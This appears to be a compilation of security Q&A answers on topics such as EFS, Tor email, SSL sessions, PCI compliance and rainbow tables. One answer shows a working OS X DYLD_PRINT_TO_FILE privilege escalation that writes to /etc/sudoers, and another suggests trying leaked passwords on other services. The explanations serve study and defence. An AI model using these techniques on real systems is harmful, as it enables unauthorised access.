Is there use for Windows built-in file/folder encryption if the PC has only one user?

The whole point of EFS is that the unlock key is protected by your logon password. If you only have one user, then they can access the data. Additionally, if there's only one user account then you have no separation of privileges between you and someone else logged into your account.
If you want to have an encrypted drive that you need a password to open, consider something like VeraCrypt.


Should I be concerned if my website throws stack information?

On production (contrary to development) environments, stack traces and error messages should be logged to file instead of dumped on screen. This is because an attacker may learn things about your system that could help compromise your system.

Information such as operating system, web server version, PHP version and more. Some stack traces may contain system/environment variables that should not be made public!

The user/visitor should get a nice looking HTTP error page instead of a message that is of no use to the visitor.


You shouldn't get the image, they are already there on your vmware repos. You need only investigate them.

It is best possible if you set up (or use a soon created) virtual machine. So:

stop the comporomised VMs
get away their disks
give them to your investigating/service VM
check everything from it.

Luns haven't anything with them to do, they are only part of the virtual SCSI emulation of the vmware. They doesn't really matter, what really matters are the disk images on your system.

There is also a possibility, if you need to investigate a whole vmware system. In this case, the things are a little bit complexer, although I don't think that a vmware server could be really corrupted.

In this case I handled the vmware physical disks as normal disks (so I copied an image from them), extracted the .vmdk images from them, and used them. So, the image creation has a two-stage process:

extract the vmware .vmdk disks from the vmware repos,
analyse their content.

Here can a little trouble come in the picture, and this is that vmware uses vmfs filesystem for the vmdk images. But this vmfs can be processed by tools freely downloaddable from vmware.com.


sending email through hidden .onionservice for email

You should slice it into two parts:

Client to server communication

If you want to access the server to send or receive an email, you can use tor and access the hidden service. This has the advantage that an attacker under normal circumstances is unable to see that you have connected with your IP to the server.

Server to server communication

If the server sends an email to another server it uses the clearnet under normal circumstances. The clearnet is used to avoid these emails being marked as spam at the receiving server because almost every tor exit node is on spam blacklists.

Summary

Protonmail mails are not send through an exit node. Because of that the NSA might track that the mail is sent from switzerland.

Small Overview

Client_A ---(tor)---> ProtonMail ------> MailProvider_B -----> Client_B

Legend:

---(tor)-->: Connection via tor

---------->: Clearnet connection, which hopefully uses TLS

Encrypted & meta-data-free alternatives

The following alternatives are relatively new and might have vulnerabilities:

BitMessage(Alpha)
Tox
ZeroNet Mail(https://zeronet.readthedocs.io/en/latest/using_zeronet/sample_sites/#zeromail)


Protecting against/detecting a specific Man in the Middle attack

If that could be done, CAs wouldn't exist - their sole purpose is to provide a trusted 3rd party service that you can check against from both sides and determine if something fishy happened during the key exchange.

Apart from that your only option is to have both sides do human verification by generating a hard to guess string out of the exchanged keys - same as many 'secure' mobile IMs like Silent Circle does - and have the actual users verify each other over a hard to fake channel like an eye-to-eye contact or a voice call.

With enough users in the system you can try web-of-trust kind of a thing querying other users to check if they have the same key for the same user, but that could secure you only against MITMs without sufficient power to generate a large number of valid key pairs to intercept all checks so not really all that secure.


How could a bind shell open a port on a firewall in front of the target?

A typical bind shell payload will not be able to open ports on firewalls in front of the targeted system.  It would be possible to include a UPnP client in the payload which would open firewall ports on firewalls where UPnP is enabled.

As Arminius mentioned, reverse shells are generally preferred to bind shells because most networks have far more liberal egress rules than ingress rules.  However, there are some cases where bind shells can be quite effective:

There are no firewalls between you and the target.
There is a legacy firewall rule (perhaps a decommissioned FTP or Telnet server) that you can make use of.
You've already compromised the firewall and are in the process of lateral movement and will open your own port on the firewall.

The biggest advantage for a bind shell payload that I can think of is that you can change where your connection is coming from (pivot, change attack boxes, etc.), which makes it quite useful when testing from e.g., the client's WiFi network.  Additionally, it makes forensics harder if they did not capture the traffic -- a reverse shell will have the IP it tries to connect to in the payload, the bind shell leaves the DFIR team without that.


What are the risks of mismanaging apache users/permissions and what is the right way to do it?

As you've noted chmod 777 is a particularly terrible idea. Owning the files yourself might not be as bad as you think; unless you horribly misconfigure Apache they'll still be executed by the Apache user (httpd, www-data, or something else, depends on distribution). There are several other ways to handle this as well.

Add users to the Apache group

Adding users to the group doesn't change the file permissions, but allows those users to modify the files as long as they use the default permissions of 775 for directories and executable files or 664 for non-executable files.

Give users permission with setfacl

Access Control Lists allow finer grained permissions, such as giving users access to specific directories. You can use setfacl as follows:

# -R for recursive
# -m for modify
# u:[user]:[perms] or g:[group]:[perms]
# Perm X instead of x means that execute permission will only be given if another
# user already has execute permission.
setfacl -R -m u:joe:rwX /var/www/html/joes-stuff

# -d modifies the default acl, so future files will have these permissions
setfacl -R -d -m u:joe:rwX /var/www/html/joes-stuff

# You can also do both at once
setfacl -R -m u:joe:rwX -m d:u:joe:rwX /var/www/html/joes-stuff

Restrict Apache permissions

It may be advantageous to remove Apache's write permission (at least to certain directories) so that a vulnerable script won't be able to write files. This is one of the benefits to having the files owned (or writable) by a user and group other than what Apache executes with.


How does the DYLD privilege escalation vulnerability work on OS X?

Analysis

When setting:

DYLD_PRINT_TO_FILE=/tmp/log some_command

the MacOS X dynamic loader will open /tmp/log as a log file, i.e. with append access to potentially debug problems within the dynamic loader. This file is open with the first free file descriptor in the shell calling context which is 3.
Hence the file descriptors associations are:

0   →   stdin
1   →   stdout
2   →   stderr
3   →   /tmp/log

and within this context the process some_command is forked.

Unfortunatly, the dynamic loader doesn't close 3. Hence the process some_command is running with an open file it never had to open and never went through the normal filesystem access control. This may be a file to which some_command should have no access if it normally tried to open it.

Example

For example, although newgrp is a setuid binary it can't write on correctly protected files:

$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor

this error is normal, the shell forked by newgrp doesn't have a file descriptor
3 open, as lsof permits to clearly see it (look at column FD for the 3):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF      NODE NAME
[...]
zsh     2405  bob    0u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    1u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    2u   CHR   16,3      0t28      1405 /dev/ttys003
zsh     2405  bob    5                                   (revoked)
[...]

But due to the lack of closing 3 in the dynamic loader:

$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$

beware: here the absence of error message means the echo worked.
and moreover lsof shows the hole (line 3w, which means file descriptor 3
opened with write access):

$ lsof -p $$
COMMAND  PID USER   FD   TYPE DEVICE  SIZE/OFF       NODE NAME
[...]
zsh     2430  bob    0u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    1u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    2u   CHR   16,3    0t1024       1405 /dev/ttys003
zsh     2430  bob    3w   REG    1,7      1293 2034681610 /private/etc/sudoers
zsh     2430  bob    5                                    (revoked)
[...]

will let newgrp write on /etc/sudoers file were it should never had occured.

Warning

If you try this example, don't forget to clean your /etc/sudoers afterward,
even if this example is harmless.
Its last line contains now #comment.


Can a compromised car stereo spread vulnerability to a connected phone via bluetooth

It's possible, but it would depend on a lot of factors:
Most cars have two different processing units - one for the music system itself and a second for the car's internals - brakes, gauges etc. In many cars, there's no connection between the main audio player and the car itself - just power cables. This makes it possible for you to replace the music system that your car shipped with with another one. In this case, it's also likely that there won't be any external control for the music system's controls - this means no controls for volume on your steering wheel etc.

However, in the off chance that your manufacturer has your car rigged up to a central processing unit, and has all the devices in the car controlled by it, there's a pretty good chance that someone could really mess your car up by exploiting the Bluetooth vulnerability. Even if they aren't able to execute commands remotely, a DoS condition in a vehicle that you put your life in isn't very comforting.

So to summarize:

Look out for any connections between the player and the car's systems themselves. You can do this by just checking to see if you can control the car from your music player or the player from controls that are not directly on it.
If you can, physically remove the unit from its dock and check to see if there's any wires that aren't just supplying power. If there are, they mostly go to your car's internal processor and are likely a threat.


Do Apple and Samsung collect user's biometric data?

Short answer: No, yes, no, probably not, no.

According to Apple:

  Fingerprint data is used only by the Secure Enclave to verify that your fingerprint matches the enrolled fingerprint data. The Secure Enclave is walled off from the rest of the chip and the rest of iOS. Therefore, iOS and other apps never access your fingerprint data, it's never stored on Apple servers, and it's never backed up to iCloud or anywhere else.

Your fingerprint model is locked with a key pertaining only to your device, and the data is never sent off the phone. If it were to get off the phone (from an attacker, government agency, or whatever else reason), the fingerprint is a model not your actual fingerprint.

No, Apple is not collecting biometric data and no the fingerprint model is not able to be reverse engineered.


BYOD - Confirming that Devices are Approved

There are agent-based NACs that will not allow a device to connect to a network unless certain conditions are met, like:

Certain other software installed, like AV
User is part of the approved user set
Security settings are configure a certain way
etc.

These require a lot of management and enrolling new devices can be a bit of a pain, but these types of systems do provide what you are looking for. You say that the IBM system would take too much configuration to work, and I suspect that you'll find the same problem with most of them.

There are agent-less systems that use a combination of MAC, OS patch level, and WMI info to and determine if a device is permitted, but they have varying levels of success. I have used one to great effect, but it, too, took a lot of management.


What can be used to keep xp_CmdShell in SQL Server disabled?

Well, its assumed that if a hacker has admin powers, then it's game over. It is the same for the operating system. As soon as a hacker the root access gain, he can normally do everything.

What used to be possible to do (at least MSSQL 2000) was to drop this store procedure with a command:

exec sp_dropextendedproc 'xp_cmdshell'

and to re-add the xp_cmdshell stored procedure with a command:

exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

You can check this article to more details http://support.microsoft.com/kb/891984


What should I use for authentication for my Django Rest API?

I'm the author of that article, as well as the somewhat popular tech talk I give about why JWTs suck and are stupid (all of which @joepie91 has eloquently written about much better than I ever could: http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/).

Given your application requirements (mobile app + JS front-end only app that both talk to a backend API), I'd suggest you use the OpenID Connect Authorization Code flow (w/ PKCE for your mobile app).

For your mobile app, specifically, I'd recommend using the fabulous AppAuth library: https://appauth.io/ (it has great libraries for both iOS + Android).

Now, you might be wondering why I'd recommend using OpenID Connect (and thus, JWTs) for something when I so publicly rally people against using JWTs: I'll tell you -- for most stuff it just does not matter.

Here's the thing: yes, JWTs are pretty awful to use when building secure apps. They're complicated, most libraries currently aren't spec complete, and using more advanced features like JWT encryption are almost sure to cause you massive headaches and compatibility issues between your services.

Furthermore, the entire reason JWTs have become popular for authentication is that they are frequently used to CACHE authentication and authorization data -- this entire practice is a big NO NO in the security world.

Caching sensitive data (like authentication and authorization data) is the worst possible thing you can ever do for security: you're trusting outdated information. ALL current auth systems built on top of JWTs suffer from this naïvety.

Once you've gone down the rabbit hole of trying to "speed up" your site/API by using JWTs, you've already committed a security sin and are now at risk.

Moreover, once people start using JWTs and realize they're at risk, they try to re-centralize everything (as one other commenter has suggested) and begin using revocation lists so that they can revoke tokens when bad things happen. This results in the same speed penalties as traditional session management, but with greater speed penalties due to JWTs being "heavier" than session cookies, and more fragile.

Sorry for the rant, but here's my advice:

If you want real security, you have to use server-side sessions. In your case, this would entail supporting session cookies from your API backend so that when your react app authenticates to your API, the API sets a secure cookie that the react app uses automatically each time it talks back to the API service to authenticate. You'd also need to use a cookie-based API from your mobile app (I'm not familiar with building native mobile apps, so can't comment on this component).
If you want simplicity and the same amount of security as just about every other major web app, using OIDC and go with out of the box open source solutions. This is the simplest way go currently and while it's not perfect, if it solves your problem then it likely isn't a big deal.

If you're building something sensitive, try to use server-side session cookies when possible. Otherwise? Don't sweat the details and go with the flow.


Is running a Windows service as a (standard) user a risk?

The user will have access to anything that the Everyone and Users groups have access to, which means it's similar to a guest account. Everything outside user directories and system directories will be readable by default, though some system directories are readable too.

Assuming you appropriately configure the user, there should be minimal risk. However, it is certainly advisable to configure auditing for that user, via local or group policy, in order to ensure that any misuse is logged, so that you can take measures to stop that misuse and make changes to prevent it in future.

This should give you a reasonable standing from a security perspective. That being said, this is actually one of the few areas that I feel the Windows security model is lacking in - i.e. single purpose users that don't automatically have access to anything but a specific set of directories.


Email was never designed to verify an email actually came from the person it says it came from.  The model is largely one of snail mail, where it's trivial to print an address of President Of The United States as the origin.

The most likely scenario is the header address appeared as employee B, but the reply to: address was set to someone else like attacker@evil.com.  In this case, replies would go to attacker@evil.com instead of employee B.


Can opening an email be tracked with a wav file?

It was once possible to embed audio into emails (including auto-play). Here's a 2012 article describing how it was done. This does not currently work in Gmail or Outlook 2016, but it may still work in other email clients.

So if the recipient is using an email client that supports this, then yes it would be possible to track email opens this way, in exactly the same manner that it's done with images.


Which crypto-algorithem uses iOS in NSDataWritingFileProtection and what is the keysize?

Apple themselves use 256-bit AES for their apps, but you can choose from AES, RC4, or 3DES in a variety of key lengths.

See Apple's Certificate, Key, and Trust Services Reference and Cryptographic Services Guide


Is there a great cheap or free site for the CISSP exam?

Check out Eric Conrad's 500 questions and podcasts.  Thanks to Eric and to Syngress/Elsevier for making these available!  http://www.ericconrad.com/2014/04/my-500-cissp-questions.html

My experience with practice questions is that they're really going to exercise what you learned from a particular book; in this case, the free questions test you on information you can get from CISSP Study Guide. It was my primary reference for the exam.  Caveat: if you're not using that book as a reference then the questions may scare you, but ... they're free, and they're great.


What security considerations are there when developing a random password generator?

Creating a secure password generator is fairly easy, provided you have two components:

A cryptographically secure RNG. This means the output of the RNG is a bit stream that must not be predictable under any conditions. In most cases however, you can just use a PRNG designed specifically for key generation like /dev/urandom, /dev/random, or CryptGenRandom. Regular PRNG like Mersenne Twister should not be used for key generation. You should not attempt to write your own CSPRNG unless you have a deep background in CSPRNG mathematics. This is the part where most "regular people developing password generators" often don't really pay enough attention to.
A one-to-one encoding algorithm. This algorithm encodes the bit stream produced by the RNG into something acceptable by the system that needs to use the password and, for memorizable password, the preference of the user. A one-to-one encoding is a function that does not have any output collisions for its inputs, so a the function does not lose any entropy produced by the RNG during the encoding. This is the part that is actually extremely easy, but most "regular people developing password generators" often overcomplicate unnecessarily, and end up weakening their password generation method.

Example of one-to-one encoding algorithm: Diceware, base64, hex encoding, any perfect hash function. Example of transformation algorithm not suitable for password generation: most regular hash algorithm.

Once you have these two components, all you need to do is ask the CSPRNG for a bit stream of length n, where n is the required strength of your password, and encode that bitstream using your selected encoding algorithm.

Pitfall: You should parameterize the encoding algorithm so it can never produce a password that would be rejected by the target system's password policy. If you simply reject a password and generate it again using different random value, you are reducing the entropy. In theory, this does mean that you will need to know the exact password policy detail of each system you need to generate for to correctly calculate your password strength. In practice, you can often simply add a few more bit strength to compensate for the entropy loss due to such overcomplicated password policy.

Pitfall: For memorizable passwords, the user must be trained not to reject any password that they end up finding hard to memorize as this also reduces the entropy. This means that memorizable password encoder should be designed as much as possible so that it produces passwords/paraphrases that's most likely to be accepted by the user in the first try. There are few encoding algorithms that attempts this, for example EFF Diceware wordlist or Grammatical Diceware.


Is there any security implication of using WebRTC over unencrypted channel for streaming?

During the session initiation, through the signaling channel, the peers (two or more) are sharing information about their environment in order to create the stream.

You expose not only yourself (aka your application), but also your users by not using a secure connection.


Why are the following two sets of ciphers "different"?

openssl ciphers -v 'ECDH+AESGCM:DH+AESCGM' gives:
  ...
  whereas openssl ciphers -v 'DH+AESGCM:ECDH+AESGCM' gives
  ...

Both cipher lists have ECDH+AESGCM in common. But the second cipher list has DH+AESGCM whereas the first has DH+AESCGM - i.e. GCM vs. CGM.  There are no DH+AESCGM ciphers thus the first cipher list only contains ECDH+AESGCM.


How to check vulnerable component and its version in any APK?

Owasp dependency check is one of the ways to go. It downloads all the latest vulnerability listings for the dependencies and than checks your app dependencies against them.

Tool:

https://www.owasp.org/index.php/OWASP_Dependency_Check

Guide:

https://medium.com/@appmattus/android-security-scanning-your-app-for-known-vulnerabilities-421384603fc5


From a PCI perspective, you're responsible for verifying that the third parties to whom you have outsourced various responsibilities are compliant for the services they are performing on your behalf. To achieve this, you should enumerate those service providers and responsibilities of each and review their Attestations of Compliance, perform due diligence on engaging and annually.

Given your volume, you can self-assess as a merchant - you'd likely require completion of Self-Assessment Questionnaire A wherein you would respond to requirement 12.8 in relation to the above processes.


Is it PCI compliant to send credit card details to the server without saving them there?

No.  You can not handle PCI without meeting PCI-DSS requirements for handling PCI.  Not storing it just means you don't have to worry about storage requirements, but things like network segmentation and server security still apply, even if it only transits across your server.


How to store & use sensitive data in Java

For storing credit cards specifically, you need to weigh the costs of using Stripe, PayPal, or similar, or storing the cards yourself and the costs, financial and legal, should that data become compromised. QSAs have been getting tighter and tighter with all of the breaches that have been happening lately. That's a decision you'll have to make. It may be with the number of cards you have, and the frequency, you'll find it cheaper to store them yourself.

However, I would encourage you to find a QSA to talk to. PCI-DSS, as well as Visa, Mastercard, and other network operators, have their own requirements.


Track specific IP over BitTorrent trackers

No this is not possible. You can only do the same thing as the site you linked and request peers for as much torrent hashes as you can and filter the results you get.

If you try to query trackers this way beware that some of them add random IPs into the peer list to prevent these kind of things. A tracker just returning an IP is no proof for that IP actually seeding / leeching that torrent.

Also a little side note about the link you posted: they do not only query torrent trackers or indexers but also the DHT, a distributed alternative to trackers.


In SSL there are connections, and there are sessions.

A connection starts with a handshake, and ends when either party states it by sending a close_notify alert message. Typical Web browsers and servers will maintain connections open for some time, closing them after one or two minutes of inactivity; one or several HTTP requests and responses are sent over that connection. In normal HTTPS contexts, there is a one-to-one mapping between the SSL connections and the underlying TCP connections: for each TCP connection (to port 443), there will be a single SSL connection, and when the SSL connection ends, the underlying TCP connection is closed.

A session relates to the asymmetric cryptography which occurs in a "full handshake". The handshake process, which occurs at the beginning of a connection, is about establishing the cryptographic algorithms and keys which will be used to protect the data for that connection. There are two sorts of handshakes:

The full handshake is what a client and server do when they don't know each other (they have not talked previously, or that was long ago). In the full handshake, certificates are sent, and asymmetric cryptography (RSA, Diffie-Hellman...) occurs.
The abbreviated handshake is what a client and server remember each other; more accurately, they remember the algorithms and keys that they established in a previous full handshake, and agree to reuse them (technically, they reuse the "master secret" and derive from it fresh encryption keys for this connection).

A connection with a full handshake, and the set of connections with abbreviated handshake who reuse that full handshake, constitute together the session.

The abbreviated handshake is more efficient than the full handshake, because it implies one less network round-trips, smaller handshake messages, and no asymmetric cryptography at all.

For performance, in all generality, you want the following:

Keep connections open as much as possible. An "open connection" uses a few memory resources (both parties must remember the keys) and system resources (for the underlying TCP connection, which is kept open). However, there is no network traffic involved in keeping a connection alive, except possibly the optional "TCP keepalive".
When connections cannot be kept open (e.g. to free system resources), it is best if the client and server remember sessions so that they may do abbreviated handshakes if they reconnect. Web servers have various default and configurable policies. For instance, Apache (with mod_ssl) uses a cache which is defined both for size and for duration; the server "forgets" a session when either its cache is full and it needs some extra room, or when the timeout has been reached, whichever condition occurs first.

If you have control over the servers' configuration, then you may want to increase the "inactivity timeout" for connection termination, and also to increase the session cache size and duration. If you do not have control over the servers, then your question is somewhat moot: whatever you do, it will have to be compatible with what the servers offer. You can somehow force a server not to forget a session by regularly opening a new connection with an abbreviated handshake, but that is not necessarily a good idea (usually, when a server forgets sessions, it is for a more-or-less good reason).

Anyway, you shall make measures. This is a question about performance; abstract reasoning cannot give definitive answers. The usual rule of thumb is that performance issues do not exist until they have been duly measured in real life, or at least in a reasonably representative prototype system.

In any case, it is hard to obtain the same security functionalities of SSL with a smaller cost. Replacing SSL with "something custom" is unlikely to provide much improvement performance-wise without sacrificing security in some way.

For a walk-through of SSL, see this answer. Having some knowledge of the SSL internals really helps a lot in thinking about any design involving SSL.


Mobile phone tracking, identification of the attacker

Phone tapping that isn't done by physically altering the two phones themselves is done by plugging into various access points in the network between the two phones. These access points are controlled by A) phone service providers or B) governments. Neither of them are likely to have (nor would they want to) a number or prefix or other method of checking what access points your call is routed through.

The only conceivable way I could see the intended situation happening is possibly if you're entering a prefix meant for network technicians to use to diagnose the network. But this is very very unlikely, especially since you had someone answer.

This mysterious prefix is probably an area-code or maybe another country-code(!). Watch for long distance charges on your bill now.

Some phone providers do provide you with prefixes to do things like mask your number from the caller id of someone you're calling, but this would have no affect for someone hacking your phone or the phone network.


With WiFi now having protected management frames, is it still worth attempting an evil twin attack?

Evil twin attacks are still possible. Deauth is only one of the things that can be used in evil twin attacks, are not the most crucial. Maybe the client's WiFi is turned off, then when it is turned on, it sees the evil twin. It may try to authenticate with, and associate with, the evil twin. Even though there has been no deauth attack done on the client.


As previously mentioned in the comments of the question.

It will be best to look at the HTTP headers

I have included an answer to a previous question, which can be used to address these issues.

https://stackoverflow.com/a/10369475/4962088

https://geekflare.com/http-header-implementation/

It is also worth looking at validation when creating a website/web application, which can be seen using the link below.

https://stackoverflow.com/a/1996141/4962088


Memory dump from KVM snapshot, possible?

KVM is a virtualisation hypervisor.

This means that it requires knowledge of, and the ability to, access all of the guest's memory contents. This allows the hypervisor to suspend, resume, and move a virtual machine as it's running. VMware's ESXi supports such functionality, and again is only possible with access to the guest's memory contents.

Cheat Engine, a tool used to create cheats for single player and multiplayer games on Windows, recently introduced a way to visualize the current system to get at protected memory contents without making anyone else the wiser. It does this with HyperV, yet another hypervisor.

If your data is decrypted "on the fly", the encryption key must be stored somewhere. This is likely system memory for the speed, but does make it vulnerable to those who can inspect memory, such as in the case of a virtual guest OS.


No, because the source you can see doesn't necessarily match up with the binary you're using. The specific attack described in that paper involves multiple compiler source versions: there is a malicious one, which contains the code to inject backdoors into anything compiled using this compiler, and a clean one, which doesn't contain this code.

The attacker first compiles the malicious version, generating a compiler which inserts a backdoor into any future builds of the compiler. They then compile the clean version, using the malicious compiler. The output of this is now also malicious, even though the source code was clean - the source and binary no longer match up, but checking that is difficult. You would need to reverse engineer the binary, looking for malicious commands. The added complexity here is that if the reverse engineering tools were compiled with a malicious compiler, they could well hide the additional functionality in the binary when used.

So, an option might be to use reverse engineering tools from a completely different machine, compiled with a different version of the compiler. However, it's entirely possible that the different machine's compiler is also malicious, depending on when the original backdoor was made. For example, if they both run the same OS, they may well have the same compiler built in, which is compromised on both devices. If they don't, there may be earlier versions which were bootstrapped from a compromised compiler, or cross-compiled from a different OS which had a compromised compiler.

The only way to be sure that the whole chain is uncompromised is to manually build a binary which the processor can run, then incrementally improve this to allow extra features: you can't rely on any third party software (the text editor might insert malicious code, then hide it from view when you look at the source code, the shell might hide the file sizes of modified source files, etc...). In fact, you can't even rely on third-party hardware - the CPU might backdoor anything that looks like a compiler being built, or the RAM, or the motherboard, or the network adaptor, or any other point on the network where the compiler code or binary passed through...

Now, this is getting a bit paranoid, but in each case, as soon as there is a distinction between what source is written and what actually runs, you can't be 100% sure that the source you see and the binary that runs match up.

Note that this doesn't mean the hack has happened, but suggests that there is no way we could verify if it had without building a computer from scratch and using that to verify everything - from scratch in this case means from raw materials, for absolute certainty, without using anything which could influence the output. A hammer is probably ok, but a CNC device might be malicious, or a fab plant, or those wires, or...

puts on tin-foil hat, then realises it was made by someone else who might be compromised


Why would a password reset method be like this? Is it especially safe?

In no way is this safe and in no way is this the result of "security processes".

It looks like they have no password reset process and that it is all done by hand.


Correct way to get a number from 0-9 from a random byte?

There are two generic ways to produce a "sufficiently unbiased" random digit.

First method is to loop if the byte was not in the right range. I.e.:

Get next random byte b.
If b is in the 0..249 range, return b mod 10.
Loop.

This method may consume an unbounded number of random bytes, but it is perfectly unbiased and it is very unlikely to require looping many times. That's what Java's Random.nextInt(int) standard method applies (albeit with 32-bit words instead of bytes).

Second method is to use as source value not one byte but a big enough word. Say, use 20 bytes, interpret these as an integer x in the 0..2160-1 range, and return x mod 10. This way, the bias is still there, but can be made arbitrarily small, to the point that it no longer matters. This is computationally expensive (more than the first method) but has the advantage of always requiring the same number of input bytes, which can be handy in some specific situations (e.g. side-channel leaks).


If you've setup OpenVPN correctly, you've configured the client with a SSL CA that the server certificate should be signed with. If you've kept the CA's private key private, no other OpenVPN server will be able to present a certificate that your client will accept.

Also, the other way around, you can configure your OpenVPN client to use an SSL certificate that was signed by the server, so the server knows to only accept clients it has signed certificates for.

So someone could still try to MitM you, but your OpenVPN client would present a warning or even fail completely (haven't tested it). In the worst case, it becomes a denial of service.


Why is Amazon's home page not encrypted?

Amazon apparently believes that the overhead of TLS is high enough to justify not encrypting traffic when not performing sensitive actions (like placing orders, payment processing, account management, order history, login, etc.). While the server-side cost of TLS is nearly insignificant with today's hardware, it does still have a non-zero cost. Client-side impact can be much worse, especially over high-latency or unreliable links like some mobile connections; TLS can cause significant delays in page loading, which can lead to customers going elsewhere.

I'm personally of the opinion that it's better to use TLS for all traffic until and unless you have a reason not to do so - and there aren't many of those, not that I'd call valid - but I'm a security guy first and foremost. Amazon exists to make money, not to be a role model of secure web development. If all-TLS-all-the-time costs them more than using HTTP sometimes does, then they'll go with the second option even though it exposes their customers to certain types of attacks.

An example of such a risk: although the login form is served over HTTPS, the button that takes you there is served over HTTP. An attacker could use an SSL Stripping attack to modify the home page so that the login button linked to HTTP instead of HTTPS, and the attacker could then spoof the login page when the user tried to log in. The attacker would then get to see the user's credentials. Amazon could prevent this by using the Strict-Transport-Security header, but then they would have to serve the whole site over HTTPS all the time.

As a security role model, Amazon does some stuff very well. For example, their SigV4 scheme provides AWS with authentication, integrity, and a limit on replay attacks. It's good enough that, assuming there's no inherently sensitive data (a credit card number is inherently sensitive; an identifier string that maps to a credit card number is not) in the request or response, it can actually be safe to not use TLS on some AWS functions (though in general they mandate TLS for most of AWS anyhow). Their retail site, however, makes some tradeoffs that sacrifice a little security for the sake of slightly more profit.

If you're looking to emulate Amazon's business success, then copying their security choices might be wise... but also bear in mind that the Amazon.com retail site is old, and has undergone a lot of changes over the years that add more and more security. Given how much it costs them to have any downtime on the site, they are probably very hesitant to mess with it more than they need to. If they were designing the site from scratch today, they might well use TLS for everything, with pre-loaded HSTS. Or maybe they wouldn't; after all, I'm sure they've considered doing that, and have reasons for not (yet) implementing it.

One final note: the site certainly works over HTTPS-all-the-time. My browser actually defaulted to using HTTPS for the retail site, even though I hadn't previously used it on this computer and certainly hadn't logged in or anything. Please don't be one of those sites (looking at you, Slashdot) that redirect users from HTTPS back to HTTP even if the user specifically prefers to use HTTPS.


Can hackers access wireless traffic between me and my ISP?

Short Answer Yes.

Long Answer
It really depends on the technology being used to talk to the ISP if it's 802.11a/b/g/n it's super easy and won't be expensive and doesn't require specialized RF knowledge. If it's some other type of RF the attacker would have to have a special antenna, software and some extra knowledge but it's not impossible by any means.
If they sniff your traffic they will only see unencrypted traffic unless they were to setup a MITM scenario. If that were the case any time you would visit a site using SSL (https) you will get a big red browser warning.

Options

Get your ISP to run some cable to you (not likely)
Go to another ISP (meh)
Use a VPN service. This will encrypt all of your traffic up to the VPN providers server. Just google "VPN Providers" you can usually find one that less than $50 for an entire year.

Other things to worry about

If you're using a wireless router monitor your connections daily make sure no one has broken in. Even with WPA2 it's not impossible to hack and most newer routers have WPS for "Convenience" and that it is, for attackers too because there's a big backdoor built into it.
Attacks from the internet. Keep your router updated, check your logs and connections regularly.


I do not know Chinese but by looking at qq.com I see that the login page is on HTTPS. This is just an example that the HTTPS pages may not be the front ones. You will find the same case in some "portal type" European sites (wp.pl being one example): the front page (with information) is on HTTP and any sensitive one (email for instance) is on HTTPS.

To answer you edit: SSL gives you easily two practical mechanisms:

the ability to check if the server you connect to is actually the one you expect to connect (a mismatched certificate would be an alert)
the ability to encrypt your traffic to the site

You could roll out your own mechnisms in your application to cover both use cases. It just does not make much sense: you would probably do it wrong and it would cost you a lot of resources to have a reasonable implementation.

In the typical case of the few pages I checked from the list you mention, no other such mechanism is used (i.e. it is either HTTP or HTTPS).


How is it possible to change all the certificates?

The company is performing SSL inspection on the HTTPS traffic with a transparent proxy. This requires terminating the connection e.g. at the firewall and creating a new TLS connection for the client. This requires creating new (fake) certificates and signing it with an own CA.

  Why does my browser not complain about this?

The root CA used for signing the fake certificates is installed as a trusted CA to the certificate store the browser uses, but cURL or Java doesn't.

  Does someone know why this is happening only for specific websites?

Some sites might be trusted i.e. the inspection is disabled for those sites. There are many practices, e.g. some companies might add manual exceptions, some could only inspect sites that aren't categorized as safe...


The current highest voted answer doesn't really seem to give a proper response to your question. I'll try to answer both your questions simultaneously.

Same reduction function in every column

Say, you use the same reduction function for every column and have a basic table with 2 rows and 3 columns.

P1  --R-->  P1'  --R-->  P1'' --R-->  P1'''
P2  --R-->  P2'  --R-->  P1'  --R-->  P1''

Here, an --R--> represents a hashing followed by a reduction. And P1, P2, P1', ... represent passwords.
As you can see, there was a collision in the second chain. The value P1' has already been encountered in the first chain.

Notice what happens afterwards.

Since the hashing followed by the reduction of P1' is exactly the same as in the first chain, we get a value that has already been computed. If we continue this even further, the part of the second chain starting from P1' becomes an exact copy of the part of the first chain starting from P1'.

So in effect, this is why collisions are bad. The second chain merged into the first. We have duplicate results in our table, resulting in wasted storage space and computation time.

Different reduction function in every column

This time, let's see what happens if we use a different reduction for every column.
A reduction is represented by --RX--> where X is the column number.

P1  --R1-->  P1'  --R2-->  P1'' --R3-->  P1'''
P2  --R1-->  P2'  --R2-->  P1'  --R3-->  P2''

Again, P1' was encountered in both chains.
However, since the reduction functions are different, the value calculated after P1' in the second chain won't result in P1'', as it does in the first chain. This effectively solves the merge issue from the first example.

Note that this doesn't solve every chain merge though. Watch what happens in the following example:

P1  --R1-->  P1'  --R2-->  P1''  --R3-->  P1'''
P2  --R1-->  P1'  --R2-->  P1''  --R3-->  P1'''

This time a collision happens in the first column of both chains. Since it happens in the same column, every next reduction function will be the same and the chains are merged once again. The probability of this happening is lower though.


Users often reuse their password, so you can try those passwords on other databases or applications as well.

You can try and find out their personal email address through other ways than just the database (social engineering). From there you can get access to their paypal account, facebook, etc.

Anyway if you store your password unhashed in a database something is wrong.


It basically depends on signaling protocol, since it controls encryptions and so on.
For example, H.323 supports the using of SRTP, TLS, or even IPsec via its H.235 standard. While SIP uses other methods.
So I think before you start working on security of VoIP, you should go through a comparison between signaling protocols. Although I advise of using SIP for your researches.


Email Policy Question - Unsure what to be looking at

Policy statements need to be tied to risks. Each policy statement is a control to reduce a risk to the organisation.

So, in this scenario, you need to identify the risks to the organisation and to determine what high-level controls should be in place to reduce those risks.

A good policy needs to make a difference between a policy ("strategy") and procedures ("tactics"). A policy should not specify how to do something, but what the approach is to gain a desired outcome. That way the policy can be applied no matter what the technology is. This can be a very difficult line to walk and many policies blur this line in practice.

So, from a high-level, outcome-based perspective, how should the organisation approach the email server given that it processes sensitive emails?

There are many corporate email policies online for you to use as inspiration. Writing information security policies is an art and getting practice is a very good thing.


